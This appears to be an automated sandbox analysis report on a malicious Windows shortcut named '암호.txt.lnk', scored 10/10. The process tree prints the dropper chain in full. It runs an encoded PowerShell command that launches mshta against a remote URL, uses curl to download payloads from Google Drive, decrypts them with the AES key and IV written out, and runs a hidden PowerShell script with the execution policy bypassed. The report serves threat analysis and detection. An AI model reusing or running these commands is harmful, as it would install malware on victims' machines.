d6226ff1c96bff8cc840fb62db0a6bead9d029b7915436db87a1882332054c82

Analysis

max time kernel
149s
max time network
151s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
04/06/2026, 13:56

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
암호.txt.lnk
Size 2KB
Sample260604-q8vxmsfx71
SHA256 d6226ff1c96bff8cc840fb62db0a6bead9d029b7915436db87a1882332054c82
MD5 1e85cfa72fd753f1cd9d8db6845c946f
SHA1 92f59aa6a46937456c0272bdbc45ec03e5331a92
SHA512 ee233f553ed3e4b3c7676d48168ffc8fe9f5dfef807b5a81d9839b640ab735041e87baf83413c59ea50a491423e290b07b29fc778d363400f8f6bdfaa10ecc04
TLSH
T1295141011FE602BEF373C77A27FABB099520F574DB0759AC41C06244AEA0A04F875B2E
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://link24.kr/74Yo9PR

Signatures

Badlisted process makes network request 17 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	5248	mshta.exe
3	5248	mshta.exe
4	5248	mshta.exe
5	5248	mshta.exe
6	5248	mshta.exe
7	5248	mshta.exe
8	5248	mshta.exe
9	5248	mshta.exe
10	5248	mshta.exe
12	5248	mshta.exe
13	5248	mshta.exe
14	5248	mshta.exe
18	5248	mshta.exe
19	5248	mshta.exe
21	5248	mshta.exe
34	2200	powershell.exe
36	2200	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5400	powershell.exe
2200	powershell.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	drive.google.com
28	drive.google.com

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2132	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
4776	powershell.exe
4776	powershell.exe
5400	powershell.exe
5400	powershell.exe
5968	powershell.exe
5968	powershell.exe
2200	powershell.exe
2200	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	4776	powershell.exe
Token: SeDebugPrivilege	5400	powershell.exe
Token: SeDebugPrivilege	5968	powershell.exe
Token: SeDebugPrivilege	2200	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 6056 wrote to memory of 4776	6056	cmd.exe	81
PID 4776 wrote to memory of 5248	4776	powershell.exe	82
PID 5248 wrote to memory of 5468	5248	mshta.exe	83
PID 5248 wrote to memory of 5876	5248	mshta.exe	85
PID 5468 wrote to memory of 2172	5468	cmd.exe	87
PID 5876 wrote to memory of 2132	5876	cmd.exe	88
PID 5248 wrote to memory of 3116	5248	mshta.exe	89
PID 3116 wrote to memory of 1308	3116	cmd.exe	91
PID 3116 wrote to memory of 5400	3116	cmd.exe	92
PID 3116 wrote to memory of 5968	3116	cmd.exe	93
PID 5248 wrote to memory of 668	5248	mshta.exe	94
PID 668 wrote to memory of 2200	668	cmd.exe	96

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\암호.txt.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:6056
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e IAAgACAAIAAgACAAIAAgACAAIAAgAG0AcwBoAHQAYQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIgBoAHQAdABwAHMAOgAvAC8AbABpAG4AawAyADQALgBrAHIALwA3ADQAWQBvADkAUABSACIA
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4776
- - C:\Windows\system32\mshta.exe
    "C:\Windows\system32\mshta.exe" https://link24.kr/74Yo9PR
    3⤵
    - Badlisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:5248
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cd /d C:\Users\Admin\AppData\Local\Temp && curl -L -o password.txt "https://drive.google.com/uc?export=download&id=1u0g1doVUDc5VCeP653aze60SGlhs3efQ" && password.txt
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5468
    - - C:\Windows\system32\curl.exe
        
        curl -L -o password.txt "https://drive.google.com/uc?export=download&id=1u0g1doVUDc5VCeP653aze60SGlhs3efQ"
        5⤵
        
        PID:2172
  - - C:\Windows\system32\cmd.exe
      cmd /c sc query WinDefend
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5876
    - - C:\Windows\system32\sc.exe
        
        sc query WinDefend
        5⤵
        Launches sc.exe
        
        PID:2132
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cd /d C:\Users\Admin\AppData\Local && curl -L -o pipe.log "https://drive.google.com/uc?export=download&id=1jqpw8UHpsY5ps3nKOfkyo2ql4hC23Mew" && powershell -Command "[System.IO.File]::WriteAllBytes('pipe.zip', (New-Object System.Security.Cryptography.AesManaged).CreateDecryptor([System.Text.Encoding]::UTF8.GetBytes('ftrgmjekglgawkxjynqrwxjvjsydxgjc'), [System.Text.Encoding]::UTF8.GetBytes('rhmrpyihmziwkvln')).TransformFinalBlock([System.IO.File]::ReadAllBytes('pipe.log'), 0, [System.IO.File]::ReadAllBytes('pipe.log').Length))" && del pipe.log && powershell Expand-Archive -Path pipe.zip && del pipe.zip
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3116
    - - C:\Windows\system32\curl.exe
        
        curl -L -o pipe.log "https://drive.google.com/uc?export=download&id=1jqpw8UHpsY5ps3nKOfkyo2ql4hC23Mew"
        5⤵
        
        PID:1308
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "[System.IO.File]::WriteAllBytes('pipe.zip', (New-Object System.Security.Cryptography.AesManaged).CreateDecryptor([System.Text.Encoding]::UTF8.GetBytes('ftrgmjekglgawkxjynqrwxjvjsydxgjc'), [System.Text.Encoding]::UTF8.GetBytes('rhmrpyihmziwkvln')).TransformFinalBlock([System.IO.File]::ReadAllBytes('pipe.log'), 0, [System.IO.File]::ReadAllBytes('pipe.log').Length))"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5400
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Expand-Archive -Path pipe.zip
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5968
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cd /d C:\Users\Admin\AppData\Local && cd pipe && powershell -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -File 1.ps1 -FileName 1.log
      4⤵
      Suspicious use of WriteProcessMemory
      PID:668
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -File 1.ps1 -FileName 1.log
        5⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2200

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c
MD5 627073ee3ca9676911bee35548eff2b8
SHA1 4c4b68c65e2cab9864b51167d710aa29ebdcff2e
SHA512 3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb
TLSH
T19651CE323375B1D889163F47192C5AC463BF8355FA94AF4CB698620ED92741B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 9b1d1b468932a2d88548dc18504ac3066f8248079ecb083e919460bdb88398c0
MD5 1a11402783a8686e08f8fa987dd07bca
SHA1 580df3865059f4e2d8be10644590317336d146ce
SHA512 5f7f9f76d9d12a25fdc5b8d193391fb42c37515c657250fe01a9bfd9fe4cc4eab9d5ec254b2596ac1b9005f12511905f19fdae41f057062261d75bd83254b510
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 3ebd5b937294eeca66abfba6396e7698aade7f1fba82f86adfea497984a80725
MD5 271a2877f40dff12f5df1b85f8844e85
SHA1 abdbff01e4aa13bf4e449d050fcd90251f37fb2b
SHA512 5d1697852cfd252e38868586d2cb97e94d507ed30b44407308f46df8d217077d4396db0ae719a509b383499f46d67506fe3b65ca384eb6b23a409d6e16336ba7
TLSH
T12E119C33B79CC1B5C8D9117A1089AD01B1B6C3C7009EDECB7A84C508E57F59ADB641A4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 5a23b756e3e69d06011e1035b223ce77f967a0ef709141b375f815e46ea51a0a
MD5 ee358aa0bb74caecdee4a5ec5d799da5
SHA1 edecbe9def3cd28d1bcbda8c8d69b38bd4b9fb6a
SHA512 7260e176cad563493c3f0af45ad04c7dab7ba8f35f133058aa6c97593bd51c27dec715af72cfbd9a7b36086568d9687618129ce489e9d739396b31afb4f730be
TLSH
T1F5318733B39CC1F8C49A017A1089AD10B6B5C2C344DA8EDB6B84C108A63F699DB645E0
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_zkjmajk5.ku1.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zkjmajk5.ku1.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

pipe.log

Path C:\Users\Admin\AppData\Local\pipe.log
Size 15KB
SHA256 94d48fc67183a649d0b1f41f5790b64ba301d9499c81032e855e91ccc645778b
MD5 f956c7246cf15e194747a045d58f738d
SHA1 0512a9df167dd134f2c3adae5d53da128e98ba32
SHA512 5a2ed1b8bdf4aaa57303da080778df50bc7d6975440a2d90b1a0938d7d7ef04a2183866763e06d48d5996e0cdfea5c3ba74dcd7196391d028abf495e5b3a2941
SSDEEP 384:YAmSIz3VlqC+khtaEn4zp8FlIKHs27/uPoMyX3I7:YAkz3Vlu2Nn4k7c+o7
TLSH
T1B962D1649F0D38F1BCB88FA02C51286A80DA802FC180B19E526B7175C6F0777EB672F1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pipe.zip

Path C:\Users\Admin\AppData\Local\pipe.zip
Size 15KB
SHA256 25beadd482fc8f1831ab7b32280e30bc8dcfc0c4b120363e7ba64bd0a87cbf46
MD5 558cab27242fc520ad0fcbfc8043b9d7
SHA1 502fbf4b3880a374021e1249d0049f8175f407a8
SHA512 1a609f5cd0a01daccc5815ac3bf3049f14b545f478be46caf0da0fc48da553e2fe02b4ded9cd2657d3cfabc2309e00f0cab1fe5c37a97c98f80e57cdb6331ee1
SSDEEP 384:DmrzIB75sRtOd6Oz3Ogvvk+QX8N9v9VItehEi0nu0gZBleC6n/Rb9:vLsRtC1pk+QMN9viV5uHD6/v
TLSH
T13F62CF9EAF2E0429E65077F4BC27D7B85C56899F51675B039F00F81043C9A88867D8A7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

1.log

Path C:\Users\Admin\AppData\Local\pipe\1.log
Size 39KB
SHA256 ec12bad4e691bf62fb8528324fe14328ba6e32c54ac365070ce941a7509a90c4
MD5 12728fd9808db7a1d94e7f9a0dc588db
SHA1 04d898f527a23e738c16db65f3d1506f0d5b1261
SHA512 66f7671a934bb7780b1cf52c0158de9411b8820785f0eb594d0917369e77d21e048a708295064ff1cf71334a57975c1e35a8c2ee6166e0ec4c3d433b42fc21ca
SSDEEP 768:GwBJlyechzaTXPZdPQgkuQc5MBqOBDa+fPpAHDzSpDtso:IzwP3P8qO8Xo
TLSH
T13A03184D9F813758CF451630D5EDACD99B1E31663C725BDD0A1AA8CC2EB19BAB0D80CE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

1.ps1

Path C:\Users\Admin\AppData\Local\pipe\1.ps1
Size 183B
SHA256 3c7a0904c80ecb0f28f89453f4bfbe09aecdda646fe9bceb154670e92f51a95e
MD5 6e700fa68b1a4dce7836cdeb2f7505c3
SHA1 adcf29c4abbc25ed7b16be49f5fbe60c6d9dd8bc
SHA512 7fbe7dcac972c68806ca79cb9aa2bf9ed6aad99cc7cfe6642fff7a12f24b0b80a0656121e19d071deac15ac57c292130764ba460c465f6018258f447421f6659
TLSH
T158C0C0341D04880046029216C0A8B8017B3B333CA03C2F7CFDC2DF886BC228234FA304
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4776-11-0x0000024159FA0000-0x0000024159FB0000-memory.dmp

Download

memory/4776-3-0x0000024159FA0000-0x0000024159FB0000-memory.dmp

Download

memory/4776-4-0x0000024159DF0000-0x0000024159E12000-memory.dmp

Download

memory/4776-2-0x0000024159FA0000-0x0000024159FB0000-memory.dmp

Download

memory/5968-67-0x000001CAD90F0000-0x000001CAD91A3000-memory.dmp

Download

memory/5968-68-0x000001CAD91B0000-0x000001CAD91BA000-memory.dmp

Download

memory/5968-69-0x000001CAD91B0000-0x000001CAD91C2000-memory.dmp

Download

memory/5968-70-0x000001CAD90D0000-0x000001CAD90DA000-memory.dmp

Download

memory/5968-66-0x000001CAD90D0000-0x000001CAD90EC000-memory.dmp

Download